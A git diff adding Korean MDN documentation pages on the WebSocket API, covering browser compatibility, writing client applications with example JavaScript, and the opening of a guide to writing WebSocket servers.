+ <dt><code><code><code><a href="/ko/docs/Web/API/MessageEvent" title="ko/WebSockets/WebSockets reference/MessageEvent"><code>MessageEvent</code></a></code></code></code></dt>
+ <dd>서버로 부터 메시지가 수신 되었을 때 웹 소켓 객체에 의해 전달된 이벤트</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Tools" name="Tools"><code><code>도구</code></code></h2>
+
+<ul>
+ <li><a class="external" href="http://socket.io" title="http://socket.io/">Socket.IO</a>: <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>를 위한 강력한 크로스 플랫폼 웹 소켓 API</li>
+ <li><a class="link-https" href="https://github.com/Worlize/WebSocket-Node" title="https://github.com/Worlize/WebSocket-Node">WebSocket-Node</a>: <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>를 위한 웹 소켓 서버 API 구현</li>
+ <li><a href="http://ajf.me/websocket/#libs" title="http://websocket.us/#libs">더 많은 프레임워크, 라이브러리 보기</a></li>
+</ul>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics"><code><code>관련 주제</code></code></h2>
+
+<ul>
+ <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></li>
+</ul>
+</div>
+
+<h2 id="같이_보기"><code><code>같이 보기</code></code></h2>
+
+<ul>
+ <li><a class="external" href="http://tools.ietf.org/html/rfc6455">RFC 6455 - 웹 소켓 프로토콜</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/websockets/">웹 소켓 API 규격</a></li>
+ <li><a href="/en-US/docs/Server-sent_events" title="Server-sent_events">서버로부터의 이벤트</a></li>
+ <li><a class="external" href="http://websocket.us/">WebSocket.us</a> - 웹 소켓에 대한 비영리 커뮤니티</li>
+</ul>
+
+<h2 id="브라우저_호환성"><code><code>브라우저 호환성</code></code></h2>
+
+<p><code><code>{{CompatibilityTable}}</code></code></p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><code><code>기능</code></code></th>
+   <th><code><code>Chrome</code></code></th>
+   <th><code><code>Firefox (Gecko)</code></code></th>
+   <th><code><code>Internet Explorer</code></code></th>
+   <th><code><code>Opera</code></code></th>
+   <th><code><code>Safari</code></code></th>
+  </tr>
+  <tr>
+   <td><code><code>버전 76 지원 {{obsolete_inline}}</code></code></td>
+   <td><code><code>6</code></code></td>
+   <td><code><code>{{CompatGeckoDesktop("2.0")}}</code></code></td>
+   <td><code><code>{{CompatNo}}</code></code></td>
+   <td><code><code>11.00 (disabled)</code></code></td>
+   <td><code><code>5.0.1</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>버전 7 지원 {{obsolete_inline}}</code></code></td>
+   <td><code><code>{{CompatNo}}</code></code></td>
+   <td><code><code>{{CompatGeckoDesktop("6.0")}}<br>
+    {{property_prefix("Moz")}}</code></code></td>
+   <td><code><code>{{CompatNo}}</code></code></td>
+   <td><code><code>{{CompatNo}}</code></code></td>
+   <td><code><code>{{CompatNo}}</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>버전 10 지원 {{obsolete_inline}}</code></code></td>
+   <td><code><code>14</code></code></td>
+   <td><code><code>{{CompatGeckoDesktop("7.0")}}<br>
+    {{property_prefix("Moz")}}</code></code></td>
+   <td><code><code>HTML5 Labs</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>표준 - RFC 6455 지원</code></code></td>
+   <td><code><code>16</code></code></td>
+   <td><code><code>{{CompatGeckoDesktop("11.0")}}</code></code></td>
+   <td><code><code>10</code></code></td>
+   <td><code><code>12.10</code></code></td>
+   <td><code><code>6.0</code></code></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><code><code>기능</code></code></th>
+   <th><code><code>Android</code></code></th>
+   <th><code><code>Firefox Mobile (Gecko)</code></code></th>
+   <th><code><code>IE Mobile</code></code></th>
+   <th><code><code>Opera Mobile</code></code></th>
+   <th><code><code>Safari Mobile</code></code></th>
+  </tr>
+  <tr>
+   <td><code><code>버전 76 지원 {{obsolete_inline}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>버전 7 지원 {{obsolete_inline}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>버전 8 지원 (IETF draft 10) {{obsolete_inline}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatGeckoMobile("7.0")}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+  </tr>
+  <tr>
+   <td><code><code>표준 - RFC 6455 지원</code></code></td>
+   <td><code><code>16 (Chrome)</code></code></td>
+   <td><code><code>{{CompatGeckoDesktop("11.0")}}</code></code></td>
+   <td><code><code>{{CompatUnknown}}</code></code></td>
+   <td><code><code>12.10</code></code></td>
+   <td><code><code>6.0</code></code></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko"><code><code>Gecko</code></code></h3>
+
+<p><code><code>파이어폭스는 발전하는 웹 소켓 규격을 지속적으로 지원하고 있습니다. 파이어폭스 6은 웹 소켓 프로토콜 버전 7을, 파이어폭스 7은 버전 8을 지원합니다. (IETF 초안 10) 파이어폭스 모바일은 7.0부터 웹 소켓을 지원합니다.</code></code></p>
+
+<h4 id="Gecko_6.0"><code><code>Gecko 6.0</code></code></h4>
+
+<p><code><code>Gecko 6.0 {{geckoRelease("6.0")}} 이전엔 <code>WebSocket </code>객체가 존재하였으며, 일부 사이트가 <code>WebSocket </code>서비스는 접두어가 붙지 않는 것이라고 생각하기도 했습니다. 이 객체는 <code>MozWebSocket</code>으로 개명되었습니다.</code></code></p>
+
+<h4 id="Gecko_7.0"><code><code>Gecko 7.0</code></code></h4>
+
+<p><code><code>Gecko 7.0 {{geckoRelease("7.0")}} 이후로 고급 환경 설정의 <code>network.websocket.max-connections</code> 항목을 통해 동시에 열릴 수 있는 웹 소켓 연결의 최대값을 지정할 수 있습니다. 기본값은 200입니다.</code></code></p>
+
+<h4 id="Gecko_8.0"><code><code>Gecko 8.0</code></code></h4>
+
+<p><code><code>Gecko 8.0 {{geckoRelease("8.0")}} 이후로 웹 소켓 규격 초안의 변경에 따라 웹 소켓의 deflate 스트림 확장이 비활성화 되었습니다. 이는 일부 사이트의 호환성 문제를 해결합니다.</code></code></p>
+
+<h4 id="Gecko_11.0"><code><code>Gecko 11.0</code></code></h4>
+
+<p><code><code>Gecko 11.0 이전에는 모든 메시지가 16 MB를 넘을 수 없었으나, 지금은 최대 2 GB까지 가능합니다. 그러나 (특히 모바일에서) 권장되는 방법은 아닙니다. 충분한 메모리를 가지지 못한 장치에서는 통신이 실패하게 될 것입니다.</code></code></p>
+
+<p><code><code>추가적으로 바이너리 데이터를 위한 ArrayBuffer 지원이 구현되었습니다.</code></code></p>
+
+<p><code><code>Gecko 11.0부터 웹 소켓 API는 더이상 접두사가 붙지 않습니다.</code></code></p>
+
+<div class="warning"><code><code><strong>주의:</strong> 파이어폭스 4, 5에서 웹 소켓이 비활성화 돼있었던 가장 주요한 이유는 <a class="external" href="http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html" title="http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html">프로토콜 설계의 보안성 문제</a> 때문이었습니다. 이는 파이어폭스 6에서 상위 버전의 프로토콜을 구현함으로써 해결되었습니다.</code></code></div>
+
+<div><code><code>{{HTML5ArticleTOC}}</code></code></div>
diff --git a/files/ko/websockets/writing_websocket_client_applications/index.html b/files/ko/websockets/writing_websocket_client_applications/index.html
new file mode 100644
index 0000000000..e7826d8595
--- /dev/null
+++ b/files/ko/websockets/writing_websocket_client_applications/index.html
@@ -0,0 +1,191 @@
+---
+title: WebSocket을 이용하여 클라이언트 애플리케이션 작성하기
+slug: WebSockets/Writing_WebSocket_client_applications
+tags:
+  - 가이드
+  - 네트워킹
+  - 예제
+  - 웹소켓
+  - 웹소켓API
+  - 클라이언트
+translation_of: Web/API/WebSockets_API/Writing_WebSocket_client_applications
+---
+<p>WebSocket은 ws 프로토콜을 기반으로 클라이언트와 서버 사이에 지속적인 완전 양방향 연결 스트림을 만들어 주는 기술입니다. 일반적인 웹소켓 클라이언트는 사용자의 브라우저일 것이지만, 그렇다고 해서 이 프로토콜이 플랫폼에 종속적이지는 않습니다.</p>
+
+<div class="note"><strong>Note:</strong> 우리에게는 작동하는 chat/server 시스템 예제 코드 조각이 있습니다. 이는 우리의 인프라가 WebSocket 예제들을 제대로 호스팅할 수 있는 환경이 되면 공유할 것입니다.</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="WebSocket_객체_생성하기">WebSocket 객체 생성하기</h2>
+
+<p>WebSocket 프로토콜을 사용하여 통신하기 위해서는 <code><a href="/en/WebSockets/WebSockets_reference/WebSocket" title="en/WebSockets/WebSockets reference/WebSocket">WebSocket</a></code>객체를 생성해야 합니다. 이 객체는 자동으로 서버로의 연결을 열려고 할 것입니다.</p>
+
+<p>WebSocket 생성자는 하나의 필수 파라미터와 하나의 선택 파라미터를 받습니다.</p>
+
+<pre class="notranslate">WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+</pre>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>연결할 URL으로, 이것은 WebSocket 서버가 응답할 URL이어야 합니다.</dd>
+ <dt><code>protocols</code> {{ optional_inline() }}</dt>
+ <dd>하나의 프로토콜 문자열, 또는 프로토콜 문자열의 배열입니다. 이 문자열들은 서브 프로토콜을 지정하는데 사용되어, 하나의 서버가 여러 개의 WebSocket 서브 프로토콜을 구현할 수 있도록 해줍니다. 예를 들어, 하나의 서버가 처리하는 상호작용이 지정된 <code>protocols</code>에 따라 달라지도록 할 수 있습니다. 만약 프로토콜 문자열을 지정하지 않으면 빈 문자열을 넣은 것으로 간주됩니다.</dd>
+</dl>
+
+<p>생성자는 예외를 발생시킬 수 있습니다:</p>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>접속을 시도하고 있는 포트가 차단되었습니다.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="연결_에러">연결 에러</h3>
+
+<p>만약 연결 시도 중 에러가 발생하면, 먼저 "error"란 이름의 이벤트가 <code><a href="/en/WebSockets/WebSockets_reference/WebSocket" title="WebSocket">WebSocket</a></code> 오브젝트로 전달되고, 그로 인해 <code>onerror</code> 핸들러가 실행됩니다. 그 후에 연결이 종료되는 이유를 가리키는 <a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="CloseEvent"><code>CloseEvent</code></a> 이벤트가 <code><a href="/en/WebSockets/WebSockets_reference/WebSocket" title="WebSocket">WebSocket</a></code> 오브젝트로 전달되고, 그로 인해 <code>onclose</code> 핸들러가 실행됩니다.</p>
+
+<p>Firefox 11부터는 보통 에러 메세지에 대한 설명이 Mozillia 플랫폼의 콘솔에 표시되며, <code><a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="CloseEvent">CloseEvent</a></code>로부터는 <a class="external" href="http://tools.ietf.org/html/rfc6455#section-7.4" title="RFC 6455 Section 7.4">RFC 6455, Section 7.4</a>에 정의되어 있는 연결 종료 코드를 받게 됩니다.</p>
+
+<h3 id="예제">예제</h3>
+
+<p>이 간단한 예제는 새 웹소켓 오브젝트를 생성하여 <code><span class="nowiki">ws://www.example.com/socketserver </span></code><span class="nowiki">서버에 접속하는</span>것을 보여줍니다. 이 예제에서는 커스텀 프로토콜인 "protocolOne" 을 리퀘스트에 같이 지정합니다. (이 프로토콜을 지정하는 부분은 생략될 수 있습니다.)</p>
+
+<pre class="brush: js notranslate">var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne");
+</pre>
+
+<p>반환된 <code>exampleSocket </code>오브젝트의<code> exampleSocket</code>.<code>readyState </code>값은<code> CONNECTING </code>입니다.<code> readyState</code> 값은 연결이 수립되어 데이터가 전송 가능한 상태가 되면 <code>OPEN</code> 으로 변경됩니다.</p>
+
+<p>만약 여러개의 프로토콜을 유연하게 대응할 수 있는 구조를 가지고 있다면, 연결 시에 배열을 통해 프로토콜의 목록을 지정할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var exampleSocket = new WebSocket("ws://www.example.com/socketserver", ["protocolOne", "protocolTwo"]);
+</pre>
+
+<p>연결이 수립되면(<code>readyState</code> 가 <code>OPEN</code> 이 되었을 때<code>), exampleSocket.protocol </code>값을 조사하여 서버가 어떤 프로토콜을 선택했는지 알아낼 수 있습니다.</p>
+
+<p>위의 예제에서 ws 는 http 를 대체합니다. 비슷하게 wss 는 https 를 대체합니다. 웹소켓 연결은 HTTP 업그레이드 메카니즘에 의해 수행되기 때문에 HTTP 서버 주소 지정에 대한 프로토콜 업그레이드 요청은 암시적입니다.  (<code><span class="nowiki">ws://www.example.com</span></code> 또는 <code><span class="nowiki">wss://www.example.com</span></code>. 같이)</p>
+
+<h2 id="서버에_데이터_전송하기">서버에 데이터 전송하기</h2>
+
+<p>한번 연결이 수립되면 이제부터는 서버로 데이터를 전송할 수 있습니다. 이것을 하기 위해서는 단순히 <code>WebSocket</code> 오브젝트의 <a href="/en/WebSockets/WebSockets_reference/WebSocket#send()" title="en/WebSockets/WebSockets reference/WebSocket#send()"><code>send()</code></a> 호출하여 보내고 싶은 메세지를 지정하기만 하면 됩니다.:</p>
+
+<pre class="brush: js notranslate">exampleSocket.send("Here's some text that the server is urgently awaiting!");
+</pre>
+
+<p>보낼 수 있는 데이터는 String , {{ domxref("Blob") }},  또는 <code><a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer">ArrayBuffer</a> </code>입니다.</p>
+
+<div class="note"><strong>Note:</strong> 버전 11 아래의 파이어폭스는 String 데이터 전송만을 지원합니다.</div>
+
+<p>연결을 맺는것은 비동기 작업이고 실패하기 쉬운 작업이기 때문에, WebSocket 오브젝트를 생성하자마자  <code>send()</code> 로 데이터 전송을 시도하는것은 성공하지 않을 가능성이 있습니다. 우리는 연결이 수립된 이후에만 데이터를 전송하도록 하기 위해 <code>onopen</code> 핸들러를 정의하고, 이 위에서 작업합니다.</p>
+
+<pre class="brush: js notranslate">exampleSocket.onopen = function (event) {
+  exampleSocket.send("Here's some text that the server is urgently awaiting!");
+};
+</pre>
+
+<h3 id="데이터_전송에_JSON_사용하기">데이터 전송에 JSON 사용하기</h3>
+
+<p><a href="/en/JSON" title="en/JSON">JSON</a> 을 사용하면 서버에 복잡한 데이터를 편리하게 보낼 수 있습니다. 예를 들어, 채팅 프로그램이 서버와 JSON으로 캡슐화된 패킷 데이터를 주고받는 프로토콜을 구현한것을 상상해 볼 수 있습니다.:</p>
+
+<pre class="brush: js notranslate">// Send text to all users through the server
+function sendText() {
+  // Construct a msg object containing the data the server needs to process the message from the chat client.
+  var msg = {
+    type: "message",
+    text: document.getElementById("text").value,
+    id:   clientID,
+    date: Date.now()
+  };
+
+  // Send the msg object as a JSON-formatted string.
+  exampleSocket.send(JSON.stringify(msg));
+
+  // Blank the text input element, ready to receive the next line of text from the user.
+  document.getElementById("text").value = "";
+}
+</pre>
+
+<h2 id="서버로부터_데이터_수신하기">서버로부터 데이터 수신하기</h2>
+
+<p>WebSockets는 event-driven API 입니다; 메세지가 수신되면 "message" 이벤트가 <code>onmessage</code> 함수로 전달되게 됩니다. 아래와 같은 코드를 작성하여 수신되는 데이터를 받아볼 수 있습니다.:</p>
+
+<pre class="brush: js notranslate">exampleSocket.onmessage = function (event) {
+  console.log(event.data);
+}
+</pre>
+
+<h3 id="JSON_오브젝트를_받아서_처리하기">JSON 오브젝트를 받아서 처리하기</h3>
+
+<p>상단의 {{ anch("데이터 전송에 JSON 사용하기") }} 에서 작업한 코드와 연관되는 클라이언트를 생각해 봅시다. 클라이언트에서 받을 수 있는 패킷들의 목록은 다음과 같을 것 입니다.:</p>
+
+<ul>
+ <li>로그인 핸드쉐이크</li>
+ <li>메세지 텍스트</li>
+ <li>유저 목록 업데이트</li>
+</ul>
+
+<p>위의 메세지들을 받아서 처리하는 코드는 아래와 같을 것 입니다.:</p>
+
+<pre class="brush: js notranslate">exampleSocket.onmessage = function(event) {
+  var f = document.getElementById("chatbox").contentDocument;
+  var text = "";
+  var msg = JSON.parse(event.data);
+  var time = new Date(msg.date);
+  var timeStr = time.toLocaleTimeString();
+
+  switch(msg.type) {
+    case "id":
+      clientID = msg.id;
+      setUsername();
+      break;
+    case "username":
+      text = "&lt;b&gt;User &lt;em&gt;" + msg.name + "&lt;/em&gt; signed in at " + timeStr + "&lt;/b&gt;&lt;br&gt;";
+      break;
+    case "message":
+      text = "(" + timeStr + ") &lt;b&gt;" + msg.name + "&lt;/b&gt;: " + msg.text + "&lt;br&gt;";
+      break;
+    case "rejectusername":
+      text = "&lt;b&gt;Your username has been set to &lt;em&gt;" + msg.name + "&lt;/em&gt; because the name you chose is in use.&lt;/b&gt;&lt;br&gt;"
+      break;
+    case "userlist":
+      var ul = "";
+      for (i=0; i &lt; msg.users.length; i++) {
+        ul += msg.users[i] + "&lt;br&gt;";
+      }
+      document.getElementById("userlistbox").innerHTML = ul;
+      break;
+  }
+
+  if (text.length) {
+    f.write(text);
+    document.getElementById("chatbox").contentWindow.scrollByPages(1);
+  }
+};
+</pre>
+
+<p>여기서 우리는 <a href="/en/JavaScript/Reference/Global_Objects/JSON/parse" title="en/JavaScript/Reference/Global Objects/JSON/parse"><code>JSON.parse()</code></a> 를 통해 JSON 오브젝트를 자바스크립트 오브젝트로 변환합니다. 그 다음 콘텐츠에 따라 분기하고 처리하는 로직을 가집니다.</p>
+
+<h3 id="Text_data_format">Text data format</h3>
+
+<p>웹소켓을 통해 전달되는 텍스트들은 UTF-8 포멧을 가집니다.</p>
+
+<p>Gecko 9.0 {{ geckoRelease("9.0") }} 먼저 버전들은 유효한 UTF-8 텍스트가 아닌 문자가 들어올 경우 연결이 종료되었습니다. 지금은 이 값들을 정상적으로 허용합니다.</p>
+
+<h2 id="연결을_종료하기">연결을 종료하기</h2>
+
+<p><code><font face="Open Sans, Arial, sans-serif">웹 소켓 사용을 마쳤다면 </font><a href="/en/WebSockets/WebSockets_reference/WebSocket#close()" title="en/WebSockets/WebSockets reference/WebSocket#close()">close()</a> 메소드를 호출해 연결을 종료합니다.</code>:</p>
+
+<pre class="brush: js notranslate">exampleSocket.close();
+</pre>
+
+<p>연결을 닫아버리기 전에 <code>bufferedAmount </code>어트리뷰트를 조사하여 아직 네트워크에 전달되지 않은 데이터가 있는지 검사하는것도 좋은 방법입니다.</p>
+
+<h2 id="보안에_대한_고려_사항">보안에 대한 고려 사항</h2>
+
+<p>웹소켓은 혼합된 연결 환경에서 이용되어서는안됩니다. 예를들어 HTTPS를 이용해 로드된 페이지에서 non-secure 웹소켓 연결을 수립하는것(또는 반대) 처럼 말입니다. 몇몇 브라우저들은 이를 강제로 금지하고 있습니다. 파이어폭스 버전 8이상도 이를 금지합니다.</p>
+
+<p>{{ languages ( {"zh-tw": "zh_tw/WebSockets/Writing_WebSocket_client_applications"} ) }}</p>
diff --git a/files/ko/websockets/writing_websocket_servers/index.html b/files/ko/websockets/writing_websocket_servers/index.html
new file mode 100644
index 0000000000..24c3cbe6c0
--- /dev/null
+++ b/files/ko/websockets/writing_websocket_servers/index.html
@@ -0,0 +1,258 @@
+---
+title: 웹소켓 서버 작성하기
+slug: WebSockets/Writing_WebSocket_servers
+translation_of: Web/API/WebSockets_API/Writing_WebSocket_servers
+---
+<p>{{gecko_minversion_header("2")}}</p>
+
+<h2 id="개요">개요</h2>
+
+<p>웹 소켓 서버는 특정한 프로토콜을 따르는 서버의 임의 포트를 리스닝하고 있는 TCP 어플리케이션입니다. 사용자 서버를 만드는 작업은 두려운 일일수도 있습니다. 하지만, 당신이 선택한 플랫폼상에서 간단한 웹 소켓 서버를 구현하는것은 쉬울것입니다.  </p>
+
+<p>웹 소켓 서버는 C(++), Python, <a href="/en-US/docs/PHP">PHP</a>, <a href="/en-US/docs/Web/JavaScript/Server-Side_JavaScript">server-side JavaScript</a>등과 같은 <a href="https://en.wikipedia.org/wiki/Berkeley_sockets">Berkeley sockets</a>을 지원하는 어떠한 server-side 프로그래밍 언어로도 개발될 수 있습니다. 이것은 어느 특정한 언어의 자습서는 아니지만, 당신 자신의 서버를 개발하는것을 용이하게 하는 지침으로써의 역할을 합니다.</p>
+
+<p>당신은 HTTP가 작동하는 방식과 중간정도의 개발 경험이 있어야만 합니다. 개발언어에서 제공하는 TCP 소켓에 대한 지식이 요구될 수도 있습니다. 이 지침의 범위는 당신이 웹 소켓서버를 개발하기위해 필요한 최소한의 지식에 대해 소개하는것입니다.</p>
+
+<div class="note">
+<p>최신의 공식 웹 소켓 문서인 <a href="http://datatracker.ietf.org/doc/rfc6455/?include_text=1">RFC 6455</a>를 읽으세요. 1과 4-7 섹션이 특별히 서버개발자에게 흥미로운 부분입니다. 10 섹션에서는 보안에 대해 논의하며, 당신의 서버를 공개하기전 해당 부분을 반드시 정독하여 읽어보셔야만합니다.</p>
+</div>
+
+<p>이 페이지에서 웹 소켓 서버는 매우 약간만 설명되어 있습니다. 웹 소켓 서버는 종종 다른 특정한 이유로 인해 분리되거나 전문화됩니다. 따라서 웹 소켓과의 핸드 쉐이크를 감지하거나 미리 처리하거나 또는 클라이언트들을 실제 웹 소켓 서버에 보내기위해 일반적으로 HTTP 서버와 같은 <a href="https://en.wikipedia.org/wiki/Reverse_proxy">reverse proxy</a>를 사용합니다. 이는 쿠키나 인증을 처리하기 위해 당신의 서버 코드를 잔뜩 작성하지 않아도 된다는 것을 의미합니다.</p>
+
+<h2 id="Step_1_The_WebSocket_Handshake"><a name="Handshake">Step 1: The WebSocket Handshake</a></h2>
+
+<p>먼저 서버는 표준 TCP 소켓을 사용하여 연결하려는 소켓을 위해 반드시 듣고 있어야 합니다. 당신의 플랫폼에 따라 서버는 이미 준비가 되어있을수도 있습니다. 예를들어, 당신의 서버가 example.com에 port가 8000인 채로 듣고 있다고 가정해봅시다. </p>
+
+<div class="warning">
+<p><strong>경고:</strong> 서버에서 아무 포트나 선택하여 연결할 수 있지만, 80 또는 443 포트가 아닌 다른 연결은 방화벽/프록시에 의해 문제를 일으킬 수 있습니다. TLS/SSL 보안 연결인 443 포트와의 연결이 가장 쉬울 것입니다. 현재 대부분의 브라우저(특히 Firefox 8+)는 안전한 페이지라 할지라도 보안 연결이 아닌 웹소켓 연결은 허용되지 않습니다.</p>
+</div>
+
+<p>웹소켓의 핸드셰이크 과정은 HTTP를 바탕으로 이루어집니다. 자세한 연결 과정은 다루지 않으나, 각 요청자는 연결 과정이 제대로 이루어질때까지 요청을 보류합니다. 서버는 클라이언트가 요청하는 모든 것을 주의깊게 이해해야 하고, 그렇지 않을 경우 보안 이슈가 일어날 수 있습니다.</p>
+
+<h3 id="클라이언트_핸드쉐이크_요청">클라이언트 핸드쉐이크 요청</h3>
+
+<p>당신이 웹 소켓 서버를 개발 중이라도, 클라이언트는 여전히 웹 소켓 핸드쉐이킹 과정을 시작합니다. 따라서, 당신은 클라이언트의 요청을 이해하기 위한 방법을 이해해야합니다. 클라이언트는 아래와 같아 보이는 매우 표준적인 HTTP 요청을 보낼것입니다.(HTTP 버전은 반드시 1.1. 혹은 그 이상이어하며, 반드시 GET방식이어야합니다.)</p>
+
+<pre class="notranslate">GET /chat HTTP/1.1
+Host: example.com:8000
+<strong>Upgrade: websocket</strong>
+<strong>Connection: Upgrade</strong>
+Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
+Sec-WebSocket-Version: 13
+
+</pre>
+
+<p>이외에도 클라이언트는 여러 메세지나 서브프로토콜을 추가해 보낼 수도 있습니다. <code>User-Agent</code>, <code>Referer</code>, <code>Cookie</code>와 같은 공통 헤더나, 인증 헤더도 말이죠. 자세한 <a href="#Miscellaneous">사항</a>은 다음을 참조하세요. 원하는 대로 요청에 무엇이든지 첨부하여 보낼 수 있으며 웹소켓과 관련이 없을 경우 무시합니다. 통상적으로, 리버스 프록시가 이미 그런 기능을 담당하고 있을 겁니다.</p>
+
+<p>잘못된 값을 가지거나 형식이 잘못된 헤더의 경우, 서버는 "<a href="https://developer.mozilla.org/en-US/docs/HTTP/Response_codes#400">400 Bad Request</a>" 응답을 보내 즉시 소켓을 종료시켜야 합니다. HTTP 응답 바디에 핸드셰이크에 실패한 이유가 명시되어 있지만, 브라우저 상에서 명시적으로 나타내진 않습니다. 서버가 웹소켓의 버전 인식을 실패할 경우, 인식 가능한 버전을 명시해 <code>Sec-WebSocket-Version</code> 요청을 보내야 합니다. (최신 가이드 v13에서 설명되어 있습니다) 이제, 가장 흥미로운 헤더인 <code>Sec-WebSocket-Key</code>을 살펴봅니다.</p>
+
+<div class="note">
+<p><strong>팁:</strong> 모든 <strong>브라우저는</strong> <a href="https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Origin"><code>Origin</code> header</a>를 보냅니다. 이 헤더는 보안을 위해 활용되며, (checking for same origin, whitelisting/ blacklisting, etc.) 활용하고 싶지 않다면 <a href="https://developer.mozilla.org/en-US/docs/HTTP/Response_codes#403">403 Forbidden</a>을 보냅니다. 하지만 non-browser 에이전트가 위조된 <code>Origin</code>을 보낼수도 있다는 것을 명심해야 합니다. 따라서 대부분의 애플리케이션은 이 헤더가 없는 요청을 거부합니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Tip:</strong> The request-uri (<code>/chat</code> here) has no defined meaning in the spec. So many people cleverly use it to let one server handle multiple WebSocket applications. For example, <code>example.com/chat</code> could invoke a multiuser chat app, while <code>/game</code> on the same server might invoke a multiplayer game.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> <a href="https://developer.mozilla.org/en-US/docs/HTTP/Response_codes">Regular HTTP status codes</a> can only be used before the handshake. After the handshake succeeds, you have to use a different set of codes (defined in section 7.4 of the spec).</p>
+</div>
+
+<h3 id="서버가_보내는_핸드쉐이크_응답">서버가 보내는 핸드쉐이크 응답</h3>
+
+<p>위와 같은 요청을 받으면 서버 역시도 HTTP 구조의 응답을 보내주어야 합니다. 자세한 내용은 아래와 같습니다.(각각의 헤더 끝에는 \r\n을 그리고 가장 마지막에는 한번 더 \r\n을 넣는걸 잊지 마세요.)</p>
+
+<pre class="notranslate"><strong>HTTP/1.1 101 Switching Protocols</strong>
+Upgrade: websocket
+Connection: Upgrade
+<strong>Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
+
+</strong></pre>
+
+<p>Additionally, the server can decide on extension/subprotocol requests here; see <a href="#Miscellaneous">Miscellaneous</a> for details. The <code>Sec-WebSocket-Accept</code> part is interesting. The server must derive it from the <code>Sec-WebSocket-Key</code> that the client sent. To get it, c<span style="line-height: 1.5em;">oncatenate the client's </span><code style="font-size: 14px;">Sec-WebSocket-Key</code><span style="line-height: 1.5em;"> and "</span><code style="font-size: 14px;">258EAFA5-E914-47DA-95CA-C5AB0DC85B11</code><span style="line-height: 1.5em;">" together (it's a "</span><a href="https://en.wikipedia.org/wiki/Magic_string" style="line-height: 1.5em;">magic string</a><span style="line-height: 1.5em;">"), </span><span style="line-height: 1.5em;">take the </span><a href="https://en.wikipedia.org/wiki/SHA-1" style="line-height: 1.5em;">SHA-1 hash</a><span style="line-height: 1.5em;"> of the result, and </span><span style="line-height: 1.5em;">return the </span><a href="https://en.wikipedia.org/wiki/Base64" style="line-height: 1.5em;">base64</a><span style="line-height: 1.5em;"> encoding of the hash.</span></p>
+
+<div class="note">
+<p><strong>FYI:</strong> This seemingly overcomplicated process exists so that it's obvious to the client whether or not the server supports WebSockets. This is important because security issues might arise if the server accepts a WebSockets connection but interprets the data as a HTTP request.</p>
+</div>
+
+<p>So if the Key was "<code>dGhlIHNhbXBsZSBub25jZQ==</code>", the Accept will be "<code>s3pPLMBiTxaQ9kYGzzhZRbK+xOo=</code>". Once the server sends these headers, the handshake is complete and you can start swapping data!</p>
+
+<div class="note">
+<p>The server can send other headers like Set-Cookie, or ask for authentication or redirects via other status codes, before sending the reply handshake.</p>
+</div>
+
+<h3 id="클라이언트_추적">클라이언트 추적</h3>
+
+<p>웹소켓 프로토콜과 직접적인 연관은 없지만, 이 항목에서 언급할만한 의미가 있습니다. 웹소켓 서버는 이미 연결된 클라이언트들의 반복적인 연결(hand shaking)을 막기위해 클라이언트의 소켓 상태를 추적해야합니다. 같은 IP 주소를 가지는 클라이언트는 여러번 연결을 시도 할 수 있습니다.(하지만, 서버는 <a href="https://en.wikipedia.org/wiki/Denial_of_service">Denial-of-Service attacks</a> 을 위해 너무 많은 연결 요청을 거부할 수 있습니다).</p>
+
+<h2 id="Step_2_데이터_프레임_교환">Step 2: 데이터 프레임 교환</h2>
+
